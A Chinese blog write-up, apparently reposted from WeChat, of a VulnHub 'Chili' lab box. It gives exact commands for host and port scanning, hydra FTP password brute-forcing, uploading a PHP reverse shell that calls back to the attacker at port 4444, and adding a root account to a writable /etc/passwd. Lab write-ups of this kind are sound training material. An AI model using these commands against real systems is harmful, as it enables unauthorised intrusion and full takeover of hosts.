vulnhub之Chili的实践

admin 2023年1月3日11:51:41安全文章评论1 views947字阅读3分9秒阅读模式

今天实践的是vulnhub的Chili镜像,

下载地址,https://download.vulnhub.com/chili/Chili.ova,

用workstation导入,做地址扫描,sudo netdiscover -r 192.168.58.0/24,

170就是靶机,

vulnhub之Chili的实践

继续做端口扫描,sudo nmap -sS -sV -T5 -A -p- 192.168.58.170,

vulnhub之Chili的实践

有ftp服务,没扫描到匿名账户,上hydra做密码暴破,用户名就用chili,

hydra 192.168.58.170 ftp -l chili -P /usr/share/wordlists/rockyou.txt,

获取到用户名密码,chili/a1b2c3d4,

vulnhub之Chili的实践

ftp登录进去,发现可文件上传的目录,/var/www/html/.nano,

直接用kali上自带的web shell文件,

cp /usr/share/webshells/php/php-reverse-shell.php shell.php,

修改好参数,

$ip = '192.168.58.168';  // CHANGE THIS
$port = 4444;       // CHANGE THIS

上传到ftp服务的/var/www/html/.nano里,

vulnhub之Chili的实践

kali攻击机上开个反弹shell监听,nc -lvp 4444,

浏览器访问http://192.168.58.170/.nano/shell.php,

反弹shell就过来了,

改成交互式shell,python3 -c 'import pty; pty.spawn("/bin/bash")',

发现passwd文件在当前用户下是可写的,ls -lna /etc/passwd,

造一个root权限的用户进去,

echo "hacker:sa3tHJ3/KuYvI:0:0:hacker:/root:/bin/bash" >> /etc/passwd,

切到hacker用户,su hacker,id确认是root,

vulnhub之Chili的实践

本期实践到此结束,本期实践到此结束,本期实践到此结束,本期实践到此结束,本期实践到此结束,本期实践到此结束,本期实践到此结束,本期实践到此结束,本期实践到此结束,本期实践到此结束。

原文始发于微信公众号(云计算和网络安全技术实践):vulnhub之Chili的实践

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月3日11:51:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  vulnhub之Chili的实践 http://cn-sec.com/archives/1495487.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: